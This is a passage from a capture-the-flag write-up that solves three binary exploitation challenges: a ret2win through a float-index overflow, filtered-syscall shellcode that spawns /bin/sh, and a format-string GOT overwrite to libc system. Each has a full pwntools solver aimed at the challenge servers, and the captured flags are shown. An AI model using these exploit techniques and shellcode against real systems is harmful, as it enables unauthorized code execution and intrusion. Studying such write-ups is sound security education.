Now let's get back to the important bit, what do we need to modify for a ret2win? Whenever a function returns, it will first do `leave` which means `mov rsp, rbp` and `pop rbp`. After that it will do `ret` which means `pop rip`. So, we need to modify `rbp+0x8` to point to exactly where it needs to be, the `what` function.

We can see that the what function on the binary is located on `0x1272`. But recall that PIE is enabled. This means we cannot just inject this value directly, we need it relative to others that we know on runtime. The good thing is, we do know that the original return address, on `main`, is located on `0x182c`. Internally, the operating system translates program's memory address to actual hardware memory address. They do so using memory paging, the size of this page is usually 4kB. That means, PIE is not capable of randomizing the last 12 bits (2^12 B) of memory. Therefore what we need to do, is to change the last 12 bits, `0x82c`, to `0x272`. We will use python's struct function to read and translate byte representation of integers and floating

point. To translate integers to floating point byte format back and forth we will make use of the `struct` library. More specifically, `struct.pack` and `struct.unpack`.

Now we just need to make the solver. Note that we are doing operations 4 bytes at a time not 8 hence the numbers looks a little odd. Also since what is being fed to `scanf` on the first operand is `calc[idx]` instead of `a`, we need not modify it while on index `11`. (Otherwise, it will modify `calc` itself and it will point somewhere wrong).

```
from pwn import process, remote
import struct

# p = process("./simple_calculator")
p = remote("34.142.142.133", "9000")


# A makeshift wrapper for sending the bytes manually
def interact(prompts: list[str]) -> str:
    for prompt in prompts:
        print("SENDING INPUT:", prompt)
        p.sendline(prompt.encode())

    # Read the output and print
    print("FETCHING OUTPUT...")
    data = p.recvrepeat(timeout=0.1).decode()
    print(data)
    return data


# Gets the value from the response
def get_value(response: str) -> str:
    return (
        response[response.find("Result: ") :]
        .removeprefix("Result: ")
        .strip(" ")
        .split(" ")[0]
        .strip("\n")
        .split("\n")[0]
    )


# Advance the index n times without modifying anything
def preserve(index: int, n: int = 1):
    for i in range(index, index + n):
        text = interact(["2", str(i)])
        value = get_value(text)
        interact(["1", "1", value, "0"])


def float_string_to_int(value: str) -> int:
    return struct.unpack(">I", struct.pack(">f", float.fromhex(value)))[0]


def int_to_float_string(value: int) -> str:
    return struct.unpack(">f", struct.pack(">I", value))[0].hex()
```

```python
# The 8 allocated float buffer
preserve(0, 8)

# Set arr_size to 256 (next index must have the value 0)
interact(["1", "1", "0", "0x1p-141"])

# Advances past 0x34 bytes
# After this we are at rbp-0x8
preserve(9, 13)

# Get return address
ret_address = float_string_to_int(get_value(interact(["2", "22"])))
ret2win = int_to_float_string(ret_address - (ret_address & 0xFFF) + 0x277)

# Overwrite return address
interact(["1", "1", ret2win, "0"])

# Return
interact(["3"])

p.close()
```

We'll get the flag:

```
NETSOS{floating_point_memang_materi_yang_sangat_menyenangkan_6c3944f62d}
```

Sysphone

This one does not contain a `win` function unlike the first one. We will need to pop shell for this. Doing the mandatory `checksec` shows us that this binary doesn't have NX, PIE, nor Stack Canary. It does have Full RELRO which means no GOT overwrite shenanigans.

Looking at the binary shows a very clear cut buffer overflow scenario. The buffer for `fgets` has a size of `0x100`. That is plenty of space to write our shellcode. Do note that the `fgets` in this binary isn't from glibc, it's a custom made one. This `fgets` does treat `0xff` as EOF like the usual. However what it also does is try to block syscall opcode (`0x0f05`), printing garbage and exiting when it finds one.

Figuring out this challange is a very taxing process, but the challange itself is very clear cut. We have two limitations now, first we don't know where the address of our code on the stack is. (I spend way too much time on this, trying to figure out how to bypass `0xff`) PIE being disabled does mean code segment is left as is, but the stack is still variant as always. Second, we need a way to inject a syscall, since we can't directly put it into the buffer.

For the first problem, we can use `ROPgadget` to our advantage.

```
-> ROPgadget --binary chall | grep ": jmp rax"
0x000000000040116c : jmp rax
```

It shows at `0x40116c` we have `jmp rax`. Conveniently, the custom `fgets` function sets `rax` to it's `rdi` which is the start of the buffer. That means we just need to overwrite the return address to `0x40116c`.

Now for the second part, there are two ways to approach this. The intended way by the problemsetter, is to put `0x0f05` on the length variable (at `[rbp-0x108]`) then jump to it. Alternatively, since we now have a huge buffer to do anything, we can write to the stack a syscall opcode with arithmetic operations.

Now for the solver:

```python
from pwn import *

context.arch = "amd64"

# p = process("./chall")
p = remote("34.142.142.133", "9001")

# https://www.exploit-db.com/exploits/46907
shellcode = bytes.fromhex("4831F65648BF2F62696E2F2F736857545F6A3B584831D2990F05")

filtered_shellcode = shellcode[:-1] + b"\x00"

retoverride = p64(0x000000000040116C)  # Gadget for: jmp rax

# Make sure pop and push operation does not modify what we need to execute
# sub    rsp,0x110
allocate_rsp = bytes.fromhex("4881EC10010000")

# mov    WORD PTR [rsp+0x107],0x5
restore_shellcode = bytes.fromhex("66C78424070100000500")

BUFFER_SIZE = 0x108  # We will treat saved rbp as part of the buffer
NOP_LENGTH = (
    BUFFER_SIZE - len(allocate_rsp) - len(restore_shellcode) - len(filtered_shellcode)
)
payload = (
    b"1000\n"
    + asm("nop") * NOP_LENGTH
    + allocate_rsp
    + restore_shellcode
    + filtered_shellcode
    + retoverride
)

p.sendline(payload)
p.interactive()
```

This will give us shell, in which we are in a directory with `flag.txt`.

```
NETSOS{5H3lLc0d1n9_15_480U7_cR3471V17Y_29d3591b4c}
```

Got Dayum

We also need to get shell for this challange. Mandatory `checksec` shows us that this has Partial RELRO, NX enabled, some stack canary, but no PIE. Partial RELRO means we still can do GOT overwrite. The given linker and libc file hints that we do need to do something with it. And GOT overwrite is one of the thing we can possibly do.

This time we are given a format string loop instead of a buffer overflow. A format string gives us the ability to read registers and stack contents. It also allows us to read arbitrary values so long as it's a valid string (not a null byte). Also it even allows us to write arbitrary values to arbitrary locations. https://ir0nstone.gitbook.io/notes/binexp/stack/format-string

The most important thing about format string is that `printf` support arbitrary argument reads. This is done with `%n$f` where `n` is the n-th argument (one-indexed) and `f` is the format specifier. This makes it so

that we can read memory off the registers and the stack. Also since we control the stack, we can tell it to use our supplied value as a pointer for certain specifiers. For example writing is achieved using the `%n` format specifier, which overwrite the supplied pointer how many bytes have been written. And the amount of bytes written can be tweaked using specifiers such as `%123c` By supplying our own pointer we can also give `%s` specifier to make it read until if ecounters a null byte.

Next thing to discuss is the GOT, Global Offset Table. This table of jump instructions links to the actual function location. It is lazily evaulated though (unless using full RELRO). That means until the function is called it doesn't contain anything useful. What we have is partial RELRO, the GOT is simply placed before BSS, but that doesn't matter. We want to overwrite the GOT to point to system at some point.

Now despite PIE is disabled, the address of loaded libraries are still randomized. That means we still need to leak the address of libc. Using tools such as `readelf` allows us to get the location of for example libc functions relative to it's base address.

```
-> readelf -s libc.so.6 | grep " printf"
2611: 00000000000600f0   204 FUNC    GLOBAL DEFAULT   17 printf@@GLIBC_2.2.5
-> readelf -s libc.so.6 | grep " fgets@"
73: 0000000000085b20   470 FUNC    WEAK   DEFAULT   17 fgets@@GLIBC_2.2.5
-> readelf -s libc.so.6 | grep "system"
1050: 0000000000058740    45 FUNC    WEAK   DEFAULT   17 system@@GLIBC_2.2.5
```

If we can leak the location of any function then we can compute the rest. We unfortunately can't leak `printf` directly since it's offset contains null byte. We will make use of the `puts` function instead since it's also used and in the GOT.

Our final goal is to call libc's `system` with "/bin/sh" as the `rdi` value. Registers are harder to manipulate than memory, but conveniently `scanf` also gets passed `rdi rdi`, or the first parameter for both `scanf` and `system` is a string. So we just need to pass "/bin/sh" to `scanf` that has been overwritten to `system`.

Finally here goes our solver:

```
from pwn import *

SYSTEM_OFFSET = 0x58740
PRINTF_GOT = 0x404010
PUTS_GOT = 0x404000
PUTS_OFFSET = 0x87BD0

INPUT_INDEX = 40

context.arch = "amd64"
# p = process("./ld-linux-x86-64.so.2 --library-path . ./chall", shell=True)
p = remote(host="34.142.142.133", port=9002)

# Make sure the GOT is initialized first
# Before it's initialized, it points to a function to fetch the function address
p.sendline(b"1")
p.sendline(b"yappington")

# Leak the puts function
p.sendline(b"1")
p.sendline(b"||||%42$s||||ABC" + PUTS_GOT.to_bytes(8, "little"))

response = p.recvrepeat(1)  # Read everything
puts_address = int.from_bytes(response.split(b"||||")[1], "little")
libc_base = puts_address - PUTS_OFFSET
```

```
# Overwrite the GOT table
fmtstr = fmtstr_payload(INPUT_INDEX, {PRINTF_GOT: libc_base + SYSTEM_OFFSET})
payload = b"1\n" + fmtstr
p.sendline(payload)

# Pop shell, since it's now system not printf
p.sendline(b"1\n/bin/sh")

p.interactive()
```

Once again, the shell shows us there's `flag.txt` in that directory.

```
NETSOS{OH_b3T_1t_W4s_GO7_OV3rWr1T3_W_FOrM47_S7r1Ng_8afd7a11cc}
```